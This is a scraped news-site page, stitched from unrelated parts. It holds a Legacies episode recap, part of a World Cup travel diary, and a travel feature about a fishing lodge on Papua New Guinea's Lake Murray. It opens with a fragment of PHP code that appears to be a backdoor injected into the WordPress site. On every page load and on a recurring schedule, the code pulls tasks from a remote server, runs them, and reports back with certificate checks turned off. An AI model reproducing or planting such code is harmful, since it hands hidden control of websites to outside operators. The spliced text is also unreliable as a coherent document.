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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); imagined – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 22 Mar 2019 09:29:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png imagined – Brief News https://briefnews.eu 32 32 Legacies Recap: Landon's Dark History Is Even Muddier Than We Imagined https://briefnews.eu/legacies-recap-landons-dark-history-is-even-muddier-than-we-imagined/ https://briefnews.eu/legacies-recap-landons-dark-history-is-even-muddier-than-we-imagined/#comments Fri, 22 Mar 2019 09:29:56 +0000 http://briefnews.eu/legacies-recap-landons-dark-history-is-even-muddier-than-we-imagined/

Before Thursday’s Legacies, I would have argued that Hope had the franchise’s most twisted family history, but the more we learn about Landon’s lineage, the more the Mikaelsons start to look like the Bradys.

As revealed by Agent Clark this week, Landon’s father was once a golem known as the “Eater of the Dark.” He was created 1,000 years ago by the “unholy alliance” of a witch, a vampire and a werewolf in order to combat their shared enemy: a dragon. Unfortunately, Papa Landon proved too effective, consuming every monster he could find. He also attempted to create offspring of his own, including a handsome mud baby whom we know as… Agent Clark. (Gasp! Landon has a brother!)

Unfortunately, Landon’s big bro was not the perfect creation their father had hoped for, so he cast him aside like the handsome trash he was. In retaliation, Clark told some nearby humans about his father’s unnatural desire to create a new species. The humans recruited a coven of witches to bind Landon’s father using three magical locks, then returned him to his true form: an endless dark pit by the name of… Malivore. (Double gasp! Malivore is Landon’s father!)

Over time, the secret society guarding Malivore evolved into a monster clean-up business known as Triad Industries. But power inevitably corrupted the once-noble institution, and “monsters” became code for “whoever they didn’t like and wanted to be forgotten.” All this corruption made Clark very sad, so he tossed himself into… his father… and was only released recently in order to find Landon. As Malivore’s only blood relative, Landon alone possesses the ability to return his father to his original form, or risk having Triad convert Malivore into a weapon that could be used against the very species he was created to protect.

Speaking of Triad, this week’s episode ended with the organization’s goons storming the Salvatore School, where Lizzie and Josie had just learned the truth about the merge (at last!) from an extremely emotional and apologetic Alaric. That whole conversation wrecked me, honestly. It was right up there with Jo’s goodbye scene after the twins’ birthday party when they all just sat around sobbing and being a family.

I’m also a little concerned that we already know which twin (*cough* Josie *cough*) would survive a potential merge. And judging by the look on Lizzie’s face when Josie sent her flying across the bedroom, I’d say suspects the same. That said, I was encouraged by Josie’s insistence that the merge is a “curse” on the Gemini twins. Curses can be broken… right?

Also worth discussing…

* Hope finally dropped the L-bomb on Landon — well, “Landon” — during a lakeside chat with a magical hologram version of her kidnapped boyfriend.

* We also need to talk about Raphael and Hope. I’m glad they’re finally able to talk about their complicated feelings for one another, but I’m not sure they’ve actually resolved anything. All of their conversations still feel super flirty, even when they’re about his mental health and loss of control. Why do I feel like this won’t end well?

* I’ve been wondering about Emma’s future at the Salvatore School ever since Karen David was promoted to a series regular on Fear the Walking Dead, and I finally got my answer this week: She’s taking a sabbatical, but first, she convinced Alaric to reach out to Dorian for help.

* I appreciated Roman telling Hope that she’s not a mistake and that the cosmos is lucky to have her, but also… what? It hasn’t been that long since the final season of The Originals, right? I guess I should commend Hope for being so chill around the guy who helped orchestrate her mother’s murder, but Roman’s little redemption story feels unnecessary.

Were you surprised by the reveal of Malivore as Landon’s father? What are your hopes for next week’s finale? Drop a comment with your thoughts below.

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  • Attending the FIFA World Cup has been on my travel bucket list since I fell in love with the sporting event in 2010.
  • I was able to get tickets for the 2018 FIFA World Cup through a friend who has attended the last three World Cups.
  • I attended the Poland versus Senegal group stage match. It was incredibly exciting to watch the first African team to win at this year’s tournament.

Like a lot of sports fans, I’ve always dreamed of going to the FIFA World Cup.

Few sporting events conjure up the mix of top-of-the-line talent, global togetherness, and just flat-out unbridled joy that the World Cup does.

I won’t lie — the first World Cup that I really watched was in 2010. At the time, I was traveling through Europe and got to watch the games on giant screens in public squares in Germany, Spain, and the Czech Republic. The enthusiasm that European fans brought to the tournament was contagious and I was hooked. Attending the World Cup went on my travel bucket list.

When a friend of mine from college told me that she and her husband were heading to the Cup this year in Russia, and that they had some extra tickets, I jumped at the chance.

On Tuesday, I attended the Poland versus Senegal match at Spartak Stadium in Moscow, Russia. It was even more exciting than I imagined. You can be sure I’ll be getting to another Cup soon.

Here’s what it was like:

To get to the game, I took the Metro. Moscow’s metro system is one of the biggest and busiest in the world, with a ridership of 2.442 billion in 2017.

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The trains to the Spartak Stadium, where the Poland versus Senegal game was to be played, had TV screens in each car broadcasting the current game.

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The Spartak station was packed when my train got in at around 3:30 p.m. The game wasn’t until 6 p.m., but I wanted to make sure I got in early.

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Ian Lloyd Neubauer June 27, 2017

Papua New Guinea expert, Ian Lloyd Neubauer, visits a remote lodge on Lake Murray, accessible only via light aircraft. The lake is home to the enormous black bass and, as the local hunter-gatherer tribes believe, a gigantic Loch Ness-type monster. A good destination for a spot of fishing, then.

The nimble PAC 750XL nine-seater swoops above dense pillows of clouds after taking off from Mount Hagen, PNG’s third largest city. Accompanying me in the cabin is a pilot from New Zealand, five fanatical fishermen from Australia, and their eccentric guide Pip Clement. “We are going to go places where no sport fishermen have ever been,” Pip announces as our aircraft pops through the clouds to reveal the untouched jungles of Western Province. There’s nothing but treetops as far as the eye can see.

An hour after take-off, we reach the eastern edge of Lake Murray. The body of water is not round, as I’d expected, but octopus-shaped with tentacles that morph into serpentine rivers. The largest of these is the Strickland, which merges into the Fly, which empties into the Coral Sea, the body of water dividing Australia and PNG.

When we alight from our aircraft, scores of locals have congregated around the end of the grassy airstrip: some smiling, some frowning, others sporting facial expressions that should be reserved for the landing of extra-terrestrials. We are only the fourth group of tourists to visit Lake Murray Lodge since it opened in 2016. With the exception of a Swiss couple—missionaries who are busying themselves translating the Bible into kuni, the lingua franca—have rarely been seen around these parts since PNG won its independence from Australia in 1975.

A short stroll from the airstrip leads to a creek where two large aluminium dinghies with 60 horsepower outboard engines and uniformed drivers await. They whisk us into the lake, a shimmering silvery expanse edged by impenetrable jungle and the faint outline of palm-thatch villages. The only other signs of human activity are the dugout canoes,  where fishermen cast nets into water that’s pockmarked with emerald-green lily pads.

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The lodge is set on the headland of a large island and barely visible under a canopy of trees. Centred around a plantation-style clubhouse with unobstructed views of the lake from its wrap-around deck,the bar does a roaring trade—despite charging Sydney nightclub prices for local beer. “Fisherman are very thirsty people,” says Andrew Narie, the New Guinean manager. “They fish, fish, fish all day and drink, drink, drink all night.”

The fishermen set off in pursuit of black bass after lunch. I am ferried to Boboa Station, the largest settlement of Lake Murray, where Andrew introduces me to the locals as his “friend”. Every person we meet shakes my hand and wishes me “Good afternoon, sir”, while packs of giggling children tail us wherever we go.

When we pass a local school–no more than a corrugated shed minus any ventilation–the teacher invites us in to hear her pupils recite a nursery rhyme. They chant the verses with the fervor of warriors from the highland, and turn apoplectic with laughter when I add my voice to the melee.

Most of the 7,000-odd residents of Lake Murray survive on very little money. There are a few cash-based industries, all tied to the land; things like eaglewood scavenging, an exotic spice that’s sold to visiting Indonesian traders; rubber planting, backbreaking work that earns only 1 kina—50 cents—per kilogram; and crocodile hunting, a perilous profession conducted in the traditional fashion with canoes and harpoons. Most of the work carried out is subsistence of nature: fishing, hunting pigs and deer with dogs, and planting small plots of land with banana, pineapple, coconut, taro or sweet potato.

Before we return to the lodge, Andrew takes me to meet Tony Alemnso, an elder at the Adventist Church and resident expert on Lake Murray’s Loch Ness monster. In 2008, Tony was contacted by Genesis Park, a fringe US Christian group that seeks to prove ’dinosaurs and man were created together and have co-existed throughout history’ in order to debunk Darwinism and affirm creationism. It contracted Tony to visit remote communities around Lake Murray and look for evidence like dinosaur footprints or large reptile eggs to justify a large-scale US-led expedition.

“I didn’t find any material evidence,” Tony tells me, showing me a printout of simplistic drawings of three different dinosaurs sent to him by Genesis which he used as a visual prop during his fact-finding mission. “But I spoke to nine different people who said they all saw the creature’s head in the water. I believe them because they are trustworthy people—good hunters who said the creature made their dogs bark like they’ve never heard before.”

As ridiculous as the story seems, it’s not out of sync with the discourse in PNG. The people here aren’t savages. They’re anything but. Alemnso, for example, speaks five languages including English with an aristocratic accent inherited from the missionaries who taught him at school. But belief in folklore and magic is widespread in PNG, creating fertile ground for cashed-up evangelicals and

Despite their propensity to drink, sports fishermen are early risers. At 6.30am the following morning, we motor to the Strickland Rivers where black bass are more concentrated.

Birdlife is also far richer in the lake’s tributaries. We spot eclectic parrots, palm cockatoos, Pacific black ducks, green pygmy geese, black-breasted buzzards, white-breasted sea eagles and several different sub-species of PNG’s fabled bird of paradise.

I keep an eye out for dinosaurs, but they fail to materialise. I do however see one of their most striking ancestors: a monstrous saltwater crocodile, maybe five or even six meters long, stalking a flock of pelicans on a mud bank. Our boat driver Kevin Samson tells us of a crocodile that had got into the nasty habit of pulling villagers out of their huts in the still of night—until a mass manhunt reversed the cards and put it on the dinner table. Kevin has not even finished his tale when the croc makes a determined but ultimately futile charge at the pelicans, who fly off to greener pastures.

We spend the morning trying our luck in different spots along the Strickland where Pip and the two fishermen in our boat use $ 1,000 fishing rods with 80-pound lines to cast handmade lures near the banks where black bass reside. At other times, they trawl lines off the back of the boat while Kevin putts slowly along the shore. But they don’t have any luck. The river has reversed its course and is muddying the waters, making it difficult for the black bass to see the lures.

Yet on this occasion, man triumphs and a writhing 87-centimeter-long monster is plucked out the lake. The black bass is photographed, measured and released in accordance with the fisheries management plan that Bob Bates, the lodge owner who single-handedly opened these highlands to tourism, nutted out with the locals.

Returning to the lodge at sunset is an exhilarating experience. The sky is painted in a panoramic fresco of crimson and lime as the sun, a burning planet, melts into the waterlogged horizon. We have a barbecue to look forward to, plenty of stiff drinks, and stories to share about the one that got away.

“Being here is magic,” says Pip. “The fish—they’re just a bonus.”

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